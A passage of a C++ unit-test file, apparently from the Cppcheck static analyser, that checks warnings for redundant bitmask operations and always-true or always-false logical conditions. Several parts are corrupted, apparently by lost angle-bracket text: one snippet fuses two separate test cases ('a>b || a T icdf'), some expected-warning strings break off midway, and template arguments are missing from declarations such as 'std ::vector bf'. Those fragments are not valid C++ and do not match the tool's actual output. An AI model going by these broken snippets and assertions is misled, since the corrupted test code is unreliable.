*rop_mask;\\n\"\n \"and_bits[mask_offset] |= (rop_mask->and & 0x0f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(unsigned a, unsigned b) {\\n\"\n \" unsigned cmd1 = b & 0x0F;\\n\"\n \" if (cmd1 | a) {\\n\"\n \" if (b == 0x0C) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\" // #11082\n \" int j = 0;\\n\"\n \" if (i | j) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Operator '|' with one operand equal to zero is redundant. [badBitmaskCheck]\\n\", errout_str());\n\n check(\"#define EIGHTTOIS(x) (((x) << 8) | (x))\\n\"\n \"int f() {\\n\"\n \" return EIGHTTOIS(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"#define O_RDONLY 0\\n\"\n \"void f(const char* s, int* pFd) {\\n\"\n \" *pFd = open(s, O_RDONLY | O_BINARY, 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int FEATURE_BITS = x |\\n\"\n \"#if FOO_ENABLED\\n\"\n \" FEATURE_FOO |\\n\"\n \"#endif\\n\"\n \"#if BAR_ENABLED\\n\"\n \" FEATURE_BAR |\\n\"\n \"#endif\\n\"\n \" 0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum precedence { PC0, UNARY };\\n\"\n \"int x = PC0 | UNARY;\\n\"\n \"int y = UNARY | PC0;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"#define MASK 0\\n\"\n \"#define SHIFT 1\\n\"\n \"int x = 1 | (MASK << SHIFT);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void incorrectLogicOperator1() {\n check(\"void f(int x) {\\n\"\n \" if ((x != 1) || (x != 3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Logical disjunction always evaluates to true: x != 1 || x != 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (1 != x || 3 != x)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical disjunction always evaluates to true: x != 1 || x != 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x<0 && !x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Logical conjunction always evaluates to false: x < 0 && !x. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x==0 && x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning) Logical conjunction always evaluates to false: x == 0 && x. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\" // ast..\n \" if (y == 1 && x == 1 && x == 7) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (warning) Logical conjunction always evaluates to false: x == 1 && x == 7. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if (x != 1 || y != 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if ((y == 1) && (x != 1) || (x != 3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if ((x != 1) || (x != 3) && (y == 1))\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:12] -> [test.cpp:2:24]: (style) Condition 'x!=3' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x != 1) && (x != 3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x == 1) || (x == 3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if ((x != 1) || (y != 3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if ((x != hotdog) || (y != hotdog))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if ((x != 5) || (y != 5))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void f(int x) {\\n\"\n \" if ((x != 5) || (x != 6))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Logical disjunction always evaluates to true: x != 5 || x != 6. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(unsigned int a, unsigned int b, unsigned int c) {\\n\"\n \" if((a != b) || (c != b) || (c != a))\\n\"\n \" {\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23] -> [test.cpp:2:35]: (style) Condition 'c!=a' is always false [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void incorrectLogicOperator2() {\n check(\"void f(float x) {\\n\"\n \" if ((x == 1) && (x == 1.0))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x == 1) && (x == 0x00000001))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12] -> [test.cpp:2:24]: (style) Condition 'x==0x00000001' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == 1 && x == 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical conjunction always evaluates to false: x == 1 && x == 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == 1.0 && x == 3.0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // float comparisons with == and != are not checked right now - such comparison is a bad idea\n\n check(\"void f(float x) {\\n\"\n \" if (x == 1 && x == 1.0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void bar(float f) {\\n\" // #5246\n \" if ((f > 0) && (f < 1)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 1 && x > 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 1. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 1.0 && x > 1.0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Logical conjunction always evaluates to false: x < 1.0 && x > 1.0. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 1 && x > 1.0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 1.0. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x >= 1.0 && x <= 1.001)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 1 && x > 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(float x) {\\n\"\n \" if (x < 1.0 && x > 3.0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Logical conjunction always evaluates to false: x < 1.0 && x > 3.0. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (1 > x && 3 < x)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 3 && x > 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 3 || x < 10)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical disjunction always evaluates to true: x > 3 || x < 10. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x >= 3 || x <= 10)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical disjunction always evaluates to true: x >= 3 || x <= 10. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x >= 3 || x < 10)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical disjunction always evaluates to true: x >= 3 || x < 10. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 3 || x <= 10)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical disjunction always evaluates to true: x > 3 || x <= 10. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 3 || x < 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x >= 3 || x <= 3)\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical disjunction always evaluates to true: x >= 3 || x <= 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x >= 3 || x < 3)\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical disjunction always evaluates to true: x >= 3 || x < 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 3 || x <= 3)\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical disjunction always evaluates to true: x > 3 || x <= 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if((x==3) && (x!=4))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Redundant condition: The condition 'x != 4' is redundant since 'x == 3' is sufficient. [redundantCondition]\\n\", errout_str());\n\n check(\"void f(const std::string &s) {\\n\" // #8860\n \" const std::size_t p = s.find(\\\"42\\\");\\n\"\n \" const std::size_t * const ptr = &p;\\n\"\n \" if(p != std::string::npos && p == 0 && *ptr != 1){;}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:36] -> [test.cpp:4:49]: (style) Condition '*ptr!=1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x!=4) && (x==3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Redundant condition: The condition 'x != 4' is redundant since 'x == 3' is sufficient. [redundantCondition]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x==3) || (x!=4))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Redundant condition: The condition 'x == 3' is redundant since 'x != 4' is sufficient. [redundantCondition]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x!=4) || (x==3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Redundant condition: The condition 'x == 3' is redundant since 'x != 4' is sufficient. [redundantCondition]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x==3) && (x!=3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical conjunction always evaluates to false: x == 3 && x != 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x==6) || (x!=6))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical disjunction always evaluates to true: x == 6 || x != 6. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 10 || x < 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 5 && x == 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x > 5 && x == 1. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 5 && x == 6)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Redundant condition: The condition 'x > 5' is redundant since 'x == 6' is sufficient. [redundantCondition]\\n\", errout_str());\n\n // #3419\n check(\"void f() {\\n\"\n \" if ( &q != &a && &q != &b ) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3676\n check(\"void f(int m_x2, int w, int x) {\\n\"\n \" if (x + w - 1 > m_x2 || m_x2 < 0 )\\n\"\n \" m_x2 = x + w - 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(float x) {\\n\" // x+1 => x\n \" if (x <= 1.0e20 && x >= -1.0e20) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(float x) {\\n\" // x+1 => x\n \" if (x >= 1.0e20 && x <= 1.0e21) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(float x) {\\n\" // x+1 => x\n \" if (x <= -1.0e20 && x >= -1.0e21) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incorrectLogicOperator3() {\n check(\"void f(int x, bool& b) {\\n\"\n \" b = x > 5 && x == 1;\\n\"\n \" c = x < 1 && x == 3;\\n\"\n \" d = x >= 5 && x == 1;\\n\"\n \" e = x <= 1 && x == 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x > 5 && x == 1. [incorrectLogicOperator]\\n\"\n \"[test.cpp:3:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x == 3. [incorrectLogicOperator]\\n\"\n \"[test.cpp:4:16]: (warning) Logical conjunction always evaluates to false: x >= 5 && x == 1. [incorrectLogicOperator]\\n\"\n \"[test.cpp:5:16]: (warning) Logical conjunction always evaluates to false: x <= 1 && x == 3. [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void incorrectLogicOperator4() {\n check(\"#define ZERO 0\\n\"\n \"void f(int x) {\\n\"\n \" if (x && x != ZERO) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int N) {\\n\" // #9789\n \" T a[20] = { 0 };\\n\"\n \" for (int i = 0; i < N; ++i) {\\n\"\n \" if (0 < a[i] && a[i] < 1) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incorrectLogicOperator5() { // complex expressions\n check(\"void f(int x) {\\n\"\n \" if (x+3 > 2 || x+3 < 10) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical disjunction always evaluates to true: x+3 > 2 || x+3 < 10. [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void incorrectLogicOperator6() { // char literals\n check(\"void f(char x) {\\n\"\n \" if (x == '1' || x == '2') {}\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char x) {\\n\"\n \" if (x == '1' && x == '2') {}\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical conjunction always evaluates to false: x == '1' && x == '2'. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"int f(char c) {\\n\"\n \" return (c >= 'a' && c <= 'z');\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(char c) {\\n\"\n \" return (c <= 'a' && c >= 'z');\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:20]: (warning, inconclusive) Logical conjunction always evaluates to false: c <= 'a' && c >= 'z'. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"int f(char c) {\\n\"\n \" return (c <= 'a' && c >= 'z');\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:2:25]: (style) Return value 'c>='z'' is always false [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void incorrectLogicOperator7() { // opposite expressions\n check(\"void f(int i) {\\n\"\n \" if (i || !i) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (warning) Logical disjunction always evaluates to true: i || !(i). [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if (a>b || a<=b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Logical disjunction always evaluates to true: a > b || a <= b. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if (a>b || a T icdf( const T uniform ) {\\n\"\n \" if ((0 -1.0 - 1.0e-12))\\n\"\n \" return;\\n\"\n \" else\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incorrectLogicOperator8() { // opposite expressions\n check(\"void f(int i) {\\n\"\n \" if (!(i!=10) && !(i!=20)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical conjunction always evaluates to false: !(i != 10) && !(i != 20). [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void incorrectLogicOperator9() { // #6069 \"False positive incorrectLogicOperator due to dynamic_cast\"\n check(\"class MyType;\\n\"\n \"class OtherType;\\n\"\n \"void foo (OtherType* obj) {\\n\"\n \" assert((!obj) || dynamic_cast(obj));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incorrectLogicOperator10() { // #7794 - enum\n check(\"typedef enum { A, B } Type_t;\\n\"\n \"void f(Type_t t) {\\n\"\n \" if ((t == A) && (t == B))\\n\"\n \" {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (warning) Logical conjunction always evaluates to false: t == 0 && t == 1. [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void incorrectLogicOperator11() {\n check(\"void foo(int i, const int n) { if ( i < n && i == n ) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:43]: (warning) Logical conjunction always evaluates to false: i < n && i == n. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void foo(int i, const int n) { if ( i > n && i == n ) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:43]: (warning) Logical conjunction always evaluates to false: i > n && i == n. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void foo(int i, const int n) { if ( i == n && i > n ) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:44]: (warning) Logical conjunction always evaluates to false: i == n && i > n. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void foo(int i, const int n) { if ( i == n && i < n ) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:44]: (warning) Logical conjunction always evaluates to false: i == n && i < n. [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void incorrectLogicOperator12() { // #8696\n check(\"struct A {\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void foo(A a, A b) {\\n\"\n \" A x = b;\\n\"\n \" A y = b;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:5:9] -> [test.cpp:6:9] -> [test.cpp:8:13]: (warning) Logical conjunction always evaluates to false: a > x && a < y. [incorrectLogicOperator]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void foo(A a, A b) {\\n\"\n \" A x = b;\\n\"\n \" A y = b;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(A a, A b) {\\n\"\n \" A x = b;\\n\"\n \" A y = b;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(A a, A b) {\\n\"\n \" const A x = b;\\n\"\n \" const A y = b;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:15] -> [test.cpp:3:15] -> [test.cpp:5:13]: (warning) Logical conjunction always evaluates to false: a > x && a < y. [incorrectLogicOperator]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void foo(A a) {\\n\"\n \" A x = a;\\n\"\n \" A y = a;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9]: (style) Condition 'a>x' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:8:18]: (style) Condition 'a x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9]: (style) Condition 'a>x' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(A a) {\\n\"\n \" A x = a;\\n\"\n \" A y = a;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) Condition 'a>x' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(A a) {\\n\"\n \" const A x = a;\\n\"\n \" const A y = a;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) Condition 'a>x' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:18]: (style) Condition 'a [test.cpp:3:18]: (warning) Logical conjunction always evaluates to false: v == 1 && x == 2. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f2(const int *v) {\\n\"\n \" const int *x=v;\\n\"\n \" if ((*v == 1) && (*x == 2)) {;}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:3:19]: (warning) Logical conjunction always evaluates to false: *(v) == 1 && *(x) == 2. [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void incorrectLogicOperator14() {\n check(\"static const std ::string h;\\n\"\n \"class i {\\n\"\n \"public:\\n\"\n \" struct j {\\n\"\n \" std ::string k;\\n\"\n \" std ::string l;\\n\"\n \" };\\n\"\n \" struct a {\\n\"\n \" enum { m = 1 };\\n\"\n \" };\\n\"\n \"} b;\\n\"\n \"namespace n {\\n\"\n \"class c;\\n\"\n \"}\\n\"\n \"struct o {\\n\"\n \" enum { p, d, q, r };\\n\"\n \" enum { e, f };\\n\"\n \"\\n\"\n \"public:\\n\"\n \" class j {\\n\"\n \" public:\\n\"\n \" class s {\\n\"\n \" std ::string a;\\n\"\n \" };\\n\"\n \" };\\n\"\n \"};\\n\"\n \"namespace n {\\n\"\n \"class b;\\n\"\n \"}\\n\"\n \"namespace aa {\\n\"\n \"class d {\\n\"\n \"public:\\n\"\n \" char t;\\n\"\n \" enum {} u;\\n\"\n \"};\\n\"\n \"} // namespace aa\\n\"\n \"namespace aa {\\n\"\n \"struct e {};\\n\"\n \"} // namespace aa\\n\"\n \"class a;\\n\"\n \"class w {\\n\"\n \"public:\\n\"\n \" enum { x };\\n\"\n \" struct {\\n\"\n \" } y;\\n\"\n \" std ::string z;\\n\"\n \"};\\n\"\n \"class ab {\\n\"\n \" friend class c;\\n\"\n \"\\n\"\n \"public:\\n\"\n \" class ac {\\n\"\n \" void e(const ac &v) const;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class f;\\n\"\n \"class ad {\\n\"\n \" friend class e;\\n\"\n \" enum { e, ae, ag, ah, ai, aj, ak, a, b };\\n\"\n \" class c {};\\n\"\n \" class d {\\n\"\n \" enum am { f, an, ao, ap, aq, ar, b, as, at, c, au };\\n\"\n \" enum av { aw, ax, ay, az, e, ba, bb, bc, bd, a };\\n\"\n \" struct b {\\n\"\n \" am action;\\n\"\n \" av c;\\n\"\n \" };\\n\"\n \" };\\n\"\n \" class e {\\n\"\n \" public:\\n\"\n \" std ::string e;\\n\"\n \" class f {\\n\"\n \" } f;\\n\"\n \" class be {\\n\"\n \" public:\\n\"\n \" };\\n\"\n \" std ::vector bf;\\n\"\n \" enum { bg, b } c;\\n\"\n \" };\\n\"\n \" struct bh {\\n\"\n \" std ::map b;\\n\"\n \" };\\n\"\n \" std ::map bi;\\n\"\n \" struct {\\n\"\n \" int b;\\n\"\n \" char bj;\\n\"\n \" } bk;\\n\"\n \" class a {\\n\"\n \" public:\\n\"\n \" std ::set b;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class bl;\\n\"\n \"class al;\\n\"\n \"class bm;\\n\"\n \"class f;\\n\"\n \"class b;\\n\"\n \"class bn;\\n\"\n \"namespace bo {\\n\"\n \"class bp {\\n\"\n \"public:\\n\"\n \" typedef std ::pair bq;\\n\"\n \" typedef std ::list br;\\n\"\n \"};\\n\"\n \"const bo ::bp *dg(const f *a, const al *b);\\n\"\n \"} // namespace bo\\n\"\n \"const bn *dh(const f *d, bo ::bp ::br &bs);\\n\"\n \"class f {\\n\"\n \"public:\\n\"\n \" struct bt {};\\n\"\n \" std ::vector f;\\n\"\n \"};\\n\"\n \"class bu;\\n\"\n \"class a;\\n\"\n \"class c;\\n\"\n \"struct bv {};\\n\"\n \"class af {\\n\"\n \"private:\\n\"\n \"public:\\n\"\n \" enum { b, d, e, f, c, bw };\\n\"\n \" void a(int c);\\n\"\n \" af *bx() const;\\n\"\n \"};\\n\"\n \"namespace by {\\n\"\n \"class b;\\n\"\n \"}\\n\"\n \"class b {\\n\"\n \"public:\\n\"\n \" bool d, c;\\n\"\n \"};\\n\"\n \"class bz;\\n\"\n \"class f;\\n\"\n \"class ca {\\n\"\n \" friend class b;\\n\"\n \"\\n\"\n \"public:\\n\"\n \" const bm *cb() const { return cc; }\\n\"\n \" f *d(f *e, bool f) const;\\n\"\n \" int e() { return ++cd; }\\n\"\n \" bl *const c;\\n\"\n \" bm *cc;\\n\"\n \" std ::map ce;\\n\"\n \" int cd;\\n\"\n \" bz *a;\\n\"\n \"};\\n\"\n \"namespace n {\\n\"\n \"class c;\\n\"\n \"class d;\\n\"\n \"} // namespace n\\n\"\n \"class cf {\\n\"\n \"public:\\n\"\n \" explicit cf(const std ::string &aname);\\n\"\n \" cf(const std ::string &aname, const ca *cg, const al *ch, bl *ci)\\n\"\n \" : cj(cg), ck(ch), cl(ci), cn(aname) {}\\n\"\n \"\\n\"\n \"protected:\\n\"\n \" const ca *const cj;\\n\"\n \" const al *const ck;\\n\"\n \" bl *const cl;\\n\"\n \" const std ::string cn;\\n\"\n \"};\\n\"\n \"class cm : public cf {\\n\"\n \"public:\\n\"\n \" void cp();\\n\"\n \" std ::string d() const;\\n\"\n \"};\\n\"\n \"struct co {\\n\"\n \" co();\\n\"\n \" const bu *a;\\n\"\n \" enum f {};\\n\"\n \" enum {\\n\"\n \" b = (1 << 0),\\n\"\n \" c = (1 << 1),\\n\"\n \" };\\n\"\n \" void d(bool e);\\n\"\n \"};\\n\"\n \"class bu {\\n\"\n \" friend class e;\\n\"\n \"\\n\"\n \"public:\\n\"\n \" struct f {};\\n\"\n \" enum { d, cr, cq, ct, cs, e, a, b, c, dd, cu, cv, cw, cx, cy, cz, da };\\n\"\n \" const f *db;\\n\"\n \" const af *dc;\\n\"\n \"} f{};\\n\"\n \"class bm {\\n\"\n \"public:\\n\"\n \" std ::list df;\\n\"\n \" std ::vector de;\\n\"\n \" mutable std ::set f;\\n\"\n \"};\\n\"\n \"void cm ::cp() {\\n\"\n \" const bm *a = cj->cb();\\n\"\n \" for (const bu *b : a->de)\\n\"\n \" for (af *c = b->dc->bx();;) {\\n\"\n \" af *d = c;\\n\"\n \" af *e = c;\\n\"\n \" bool f(d);\\n\"\n \" bool g(e);\\n\"\n \" if (f && g)\\n\"\n \" ;\\n\"\n \" }\\n\"\n 